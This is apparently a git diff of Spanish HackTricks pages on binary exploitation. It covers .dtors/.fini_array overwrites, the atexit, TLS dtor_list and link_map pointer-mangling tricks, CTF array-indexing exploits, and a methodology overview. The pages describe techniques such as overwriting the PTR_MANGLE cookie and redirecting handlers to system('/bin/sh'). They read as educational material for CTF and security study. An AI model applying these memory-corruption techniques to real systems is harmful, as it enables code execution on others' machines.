Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# WWW2Exec - .dtors & .fini\_array
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## .dtors
|
||||
|
||||
|
@ -28,15 +29,15 @@ Obtén la dirección de esta sección con:
|
|||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
Por lo general, encontrarás los marcadores **DTOR** **entre** los valores `ffffffff` y `00000000`. Entonces, si solo ves esos valores, significa que **no hay ninguna función registrada**. Por lo tanto, **sobrescribe** el **`00000000`** con la **dirección** del **código shell** para ejecutarlo.
|
||||
Por lo general, encontrarás los marcadores **DTOR** **entre** los valores `ffffffff` y `00000000`. Entonces, si solo ves esos valores, significa que **no hay ninguna función registrada**. Por lo tanto, **sobrescribe** el **`00000000`** con la **dirección** del **shellcode** para ejecutarlo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Por supuesto, primero necesitas encontrar un **lugar para almacenar el código shell** para luego llamarlo.
|
||||
Por supuesto, primero necesitas encontrar un **lugar para almacenar el shellcode** para luego llamarlo.
|
||||
{% endhint %}
|
||||
|
||||
## **.fini\_array**
|
||||
|
||||
Básicamente, esta es una estructura con **funciones que se llamarán** antes de que el programa termine, como **`.dtors`**. Esto es interesante si puedes llamar tu **código shell simplemente saltando a una dirección**, o en casos en los que necesitas volver a **`main`** nuevamente para **explotar la vulnerabilidad por segunda vez**.
|
||||
Básicamente, esta es una estructura con **funciones que se llamarán** antes de que el programa termine, como **`.dtors`**. Esto es interesante si puedes llamar tu **shellcode simplemente saltando a una dirección**, o en casos en los que necesitas volver a **`main`** nuevamente para **explotar la vulnerabilidad por segunda vez**.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
|
@ -61,20 +62,20 @@ Para abusar de **`.fini_array`** y obtener un bucle eterno puedes [**ver lo que
|
|||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que con [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** la sección **`.fini_array`** se vuelve **de solo lectura**.
|
||||
En versiones más recientes, incluso con [**Partial RELRO**], la sección **`.fini_array`** también se vuelve **de solo lectura**.
|
||||
En versiones más nuevas, incluso con [**Partial RELRO**] la sección **`.fini_array`** también se vuelve **de solo lectura**.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# WWW2Exec - atexit(), Almacenamiento TLS y Otros Punteros Manipulados
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Estructuras \_\_atexit**
|
||||
|
||||
|
@ -21,7 +22,7 @@ Hoy en día es muy **raro explotar esto!**
|
|||
{% endhint %}
|
||||
|
||||
**`atexit()`** es una función a la que se le pasan **otras funciones como parámetros.** Estas **funciones** se **ejecutarán** al ejecutar un **`exit()`** o el **retorno** del **main**.\
|
||||
Si puedes **modificar** la **dirección** de cualquiera de estas **funciones** para que apunte a un shellcode por ejemplo, **obtendrás control** del **proceso**, pero actualmente es más complicado.\
|
||||
Si puedes **modificar** la **dirección** de cualquiera de estas **funciones** para que apunte a un shellcode por ejemplo, **obtendrás control** del **proceso**, pero actualmente esto es más complicado.\
|
||||
Actualmente las **direcciones de las funciones** a ejecutar están **ocultas** detrás de varias estructuras y finalmente la dirección a la que apuntan no son las direcciones de las funciones, sino que están **encriptadas con XOR** y desplazamientos con una **clave aleatoria**. Por lo tanto, actualmente este vector de ataque **no es muy útil al menos en x86** y **x64\_86**.\
|
||||
La **función de encriptación** es **`PTR_MANGLE`**. **Otras arquitecturas** como m68k, mips32, mips64, aarch64, arm, hppa... **no implementan la función de encriptación** porque **devuelve lo mismo** que recibió como entrada. Por lo tanto, estas arquitecturas serían atacables por este vector.
|
||||
|
||||
|
@ -29,7 +30,7 @@ Puedes encontrar una explicación detallada de cómo funciona esto en [https://m
|
|||
|
||||
## link\_map
|
||||
|
||||
Como se explica [**en este post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), Si el programa sale usando `return` o `exit()` se ejecutará `__run_exit_handlers()` que llamará a los destructores registrados.
|
||||
Como se explica [**en este post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), si el programa sale usando `return` o `exit()` se ejecutará `__run_exit_handlers()` que llamará a los destructores registrados.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Si el programa sale a través de la función **`_exit()`**, llamará a la **llamada al sistema `exit`** y los manejadores de salida no se ejecutarán. Por lo tanto, para confirmar que se ejecuta `__run_exit_handlers()` puedes establecer un punto de interrupción en él.
|
||||
|
@ -77,7 +78,7 @@ DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
|||
```
|
||||
En este caso sería posible sobrescribir el valor de `map->l_info[DT_FINI]` apuntando a una estructura `ElfW(Dyn)` falsificada. Encuentra [**más información aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
|
||||
|
||||
## Sobrescritura de la lista de dtor\_list de almacenamiento TLS en **`__run_exit_handlers`**
|
||||
## Sobrescritura de dtor\_list de almacenamiento TLS en **`__run_exit_handlers`**
|
||||
|
||||
Como se [**explica aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), si un programa sale a través de `return` o `exit()`, ejecutará **`__run_exit_handlers()`** que llamará a cualquier función destructora registrada.
|
||||
|
||||
|
@ -127,12 +128,12 @@ func (cur->obj);
|
|||
}
|
||||
}
|
||||
```
|
||||
Para cada función registrada en **`tls_dtor_list`**, se desencriptará el puntero de **`cur->func`** y se llamará con el argumento **`cur->obj`**.
|
||||
Para cada función registrada en **`tls_dtor_list`**, se desmagnetizará el puntero de **`cur->func`** y se llamará con el argumento **`cur->obj`**.
|
||||
|
||||
Utilizando la función **`tls`** de este [**fork de GEF**](https://github.com/bata24/gef), es posible ver que en realidad la lista **`dtor_list`** está muy **cerca** del **canario de pila** y la **cookie PTR\_MANGLE**. Por lo tanto, con un desbordamiento en ella sería posible **sobrescribir** la **cookie** y el **canario de pila**.\
|
||||
Al sobrescribir la cookie PTR\_MANGLE, sería posible **burlar la función `PTR_DEMANLE`** estableciéndola en 0x00, lo que significaría que el **`xor`** utilizado para obtener la dirección real es simplemente la dirección configurada. Luego, escribiendo en la lista **`dtor_list`** es posible **encadenar varias funciones** con la **dirección** de la función y su **argumento.**
|
||||
Al sobrescribir la cookie PTR\_MANGLE, sería posible **burlar la función `PTR_DEMANLE`** estableciéndola en 0x00, lo que significaría que el **`xor`** utilizado para obtener la dirección real es simplemente la dirección configurada. Luego, escribiendo en la lista **`dtor_list`** es posible **encadenar varias funciones** con la dirección de la función y su **argumento.**
|
||||
|
||||
Finalmente, cabe destacar que el puntero almacenado no solo se xorará con la cookie, sino que también se rotará 17 bits:
|
||||
Finalmente, hay que tener en cuenta que el puntero almacenado no solo se xorará con la cookie, sino que también se rotará 17 bits:
|
||||
```armasm
|
||||
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
|
||||
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
|
||||
|
@ -144,7 +145,7 @@ Encuentra un ejemplo en el [**post original**](https://github.com/nobodyisnobody
|
|||
|
||||
## Otros punteros manipulados en **`__run_exit_handlers`**
|
||||
|
||||
Esta técnica está [**explicada aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) y depende nuevamente de que el programa **salga llamando a `return` o `exit()`** para que se llame a **`__run_exit_handlers()`**.
|
||||
Esta técnica se [**explica aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) y depende nuevamente de que el programa **salga llamando a `return` o `exit()`** para que se llame a **`__run_exit_handlers()`**.
|
||||
|
||||
Veamos más código de esta función:
|
||||
```c
|
||||
|
@ -227,10 +228,12 @@ free (cur);
|
|||
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
```
|
||||
La variable `f` apunta a la estructura **`initial`** y dependiendo del valor de `f->flavor` se llamarán diferentes funciones. Dependiendo del valor, la dirección de la función a llamar estará en un lugar diferente, pero siempre estará **desenmascarada**.
|
||||
La variable `f` apunta a la estructura **`initial`** y dependiendo del valor de `f->flavor` se llamarán diferentes funciones.\
|
||||
Según el valor, la dirección de la función a llamar estará en un lugar diferente, pero siempre estará **desenmascarada**.
|
||||
|
||||
Además, en las opciones **`ef_on`** y **`ef_cxa`** también es posible controlar un **argumento**.
|
||||
|
||||
Es posible verificar la estructura **`initial`** en una sesión de depuración con GEF ejecutando **`gef> p initial`**.
|
||||
|
||||
Para abusar de esto, necesitas **filtrar o borrar la cookie `PTR_MANGLE`** y luego sobrescribir una entrada `cxa` en initial con `system('/bin/sh')`. Puedes encontrar un ejemplo de esto en el [**post original del blog sobre la técnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
|
||||
Para abusar de esto, necesitas **filtrar o borrar la cookie `PTR_MANGLE`** y luego sobrescribir una entrada `cxa` en initial con `system('/bin/sh')`.\
|
||||
Puedes encontrar un ejemplo de esto en el [**post original del blog sobre la técnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Indexación de Arrays
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -21,10 +22,10 @@ Esta categoría incluye todas las vulnerabilidades que ocurren porque es posible
|
|||
Sin embargo, aquí puedes encontrar algunos **ejemplos** interesantes:
|
||||
|
||||
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
|
||||
* Hay **2 arrays colisionando**, uno para las **direcciones** donde se almacenan los datos y otro con los **tamaños** de esos datos. Es posible sobrescribir uno desde el otro, lo que permite escribir una dirección arbitraria indicándola como un tamaño. Esto permite escribir la dirección de la función `free` en la tabla GOT y luego sobrescribirla con la dirección de `system`, y llamar a free desde una memoria con `/bin/sh`.
|
||||
* Hay **2 arrays colisionando**, uno para las **direcciones** donde se almacenan los datos y otro con los **tamaños** de esos datos. Es posible sobrescribir uno desde el otro, permitiendo escribir una dirección arbitraria indicándola como un tamaño. Esto permite escribir la dirección de la función `free` en la tabla GOT y luego sobrescribirla con la dirección de `system`, y llamar a free desde una memoria con `/bin/sh`.
|
||||
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
|
||||
* 64 bits, sin nx. Sobrescribe un tamaño para obtener una especie de desbordamiento de búfer donde todo se va a utilizar como un número doble y se ordena de menor a mayor, por lo que es necesario crear un shellcode que cumpla con ese requisito, teniendo en cuenta que el canary no debe moverse de su posición y finalmente sobrescribir el RIP con una dirección a ret, que cumpla con los requisitos anteriores y colocando la mayor dirección una nueva dirección apuntando al inicio del stack (filtrada por el programa) para que sea posible usar el ret para saltar allí.
|
||||
* 64 bits, sin nx. Sobrescribe un tamaño para obtener una especie de desbordamiento de búfer donde todo va a ser utilizado como un número doble y ordenado de menor a mayor, por lo que es necesario crear un shellcode que cumpla con ese requisito, teniendo en cuenta que el canary no debe ser movido de su posición y finalmente sobrescribir el RIP con una dirección a ret, que cumpla con los requisitos anteriores y colocando la mayor dirección una nueva dirección apuntando al inicio del stack (filtrada por el programa) para que sea posible usar el ret para saltar allí.
|
||||
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
* 64 bits, sin relro, canary, nx, sin pie. Hay un off-by-one en un array en la pila que permite controlar un puntero otorgando WWW (escribe la suma de todos los números del array en la dirección sobrescrita por el off-by-one en el array). La pila está controlada para que la dirección `exit` de la GOT sea sobrescrita con `pop rdi; ret`, y en la pila se agrega la dirección a `main` (volviendo a `main`). Se utiliza una cadena ROP para filtrar la dirección de put en la GOT usando puts (`exit` será llamado, por lo que llamará a `pop rdi; ret` y ejecutará esta cadena en la pila). Finalmente se utiliza una nueva cadena ROP para ejecutar ret2lib.
|
||||
* 64 bits, sin relro, canary, nx, sin pie. Hay un off-by-one en un array en la pila que permite controlar un puntero otorgando WWW (escribe la suma de todos los números del array en la dirección sobrescrita por el off-by-one en el array). La pila está controlada, por lo que la dirección `exit` de la GOT es sobrescrita con `pop rdi; ret`, y en la pila se agrega la dirección a `main` (volviendo a `main`). Se utiliza una cadena ROP para filtrar la dirección de put en la GOT usando puts (`exit` será llamado, por lo que llamará a `pop rdi; ret` ejecutando así esta cadena en la pila). Finalmente se utiliza una nueva cadena ROP ejecutando ret2lib.
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
||||
* 32 bits, sin relro, sin canary, nx, pie. Abusa de un mal indexado para filtrar direcciones de libc y heap desde la pila. Abusa del desbordamiento de búfer para hacer un ret2lib llamando a `system('/bin/sh')` (se necesita la dirección del heap para evitar una comprobación).
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Metodología Básica de Explotación Binaria
|
||||
# Metodología Básica de Explotación de Binarios
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica sobre ELF
|
||||
|
||||
|
@ -52,16 +53,16 @@ Puedes encontrar las técnicas de **Escribir Qué Dónde a la Ejecución** en:
|
|||
|
||||
## Bucles Eternos
|
||||
|
||||
Algo a tener en cuenta es que generalmente **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar con éxito un exploit, especialmente si se necesitan evadir algunas protecciones. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario:
|
||||
Algo a tener en cuenta es que usualmente **solo una explotación de una vulnerabilidad podría no ser suficiente** para ejecutar un exploit exitoso, especialmente si se necesitan evadir algunas protecciones. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario:
|
||||
|
||||
* Escribir en una cadena **ROP** la dirección de la función **`main`** o la dirección donde está ocurriendo la **vulnerabilidad**.
|
||||
* Controlando una cadena ROP adecuada, podrías ser capaz de realizar todas las acciones en esa cadena.
|
||||
* Controlando una cadena ROP adecuada podrías ser capaz de realizar todas las acciones en esa cadena.
|
||||
* Escribir en la dirección de **`exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para volver a la **vulnerabilidad**.
|
||||
* Como se explica en [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar nuevamente a la vulnerabilidad y otra para llamar a **`__libc_csu_fini`** que llamará nuevamente a la función de `.fini_array`.
|
||||
|
||||
## Objetivos de Explotación
|
||||
|
||||
### Objetivo: Llamar a una función existente
|
||||
### Objetivo: Llamar a una función Existente
|
||||
|
||||
* [**ret2win**](./#ret2win): Hay una función en el código que necesitas llamar (quizás con algunos parámetros específicos) para obtener la bandera.
|
||||
* En un **bof regular sin** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), solo necesitas escribir la dirección en la dirección de retorno almacenada en la pila.
|
||||
|
@ -89,7 +90,7 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
|
|||
#### A través de syscalls
|
||||
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para llamar a `execve` y ejecutar comandos arbitrarios. Necesitas encontrar los **gadgets para llamar al syscall específico con los parámetros**.
|
||||
* Si se activa [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/), necesitarás vencerlos **para usar los gadgets ROP** del binario o las bibliotecas.
|
||||
* Si se activa [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/), necesitarás vencerlos **para poder usar los gadgets ROP** del binario o las bibliotecas.
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) puede ser útil para preparar el **ret2execve**.
|
||||
* Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros.
|
||||
|
||||
|
@ -98,7 +99,7 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
|
|||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para llamar a una función de una biblioteca (generalmente de **`libc`**) como **`system`** con algunos argumentos preparados (por ejemplo, `'/bin/sh'`). Necesitas que el binario **cargue la biblioteca** con la función que deseas llamar (generalmente libc).
|
||||
* Si está **compilado estáticamente y no hay** [**PIE**](../common-binary-protections-and-bypasses/pie/), la **dirección** de `system` y `/bin/sh` no cambiarán, por lo que es posible usarlos estáticamente.
|
||||
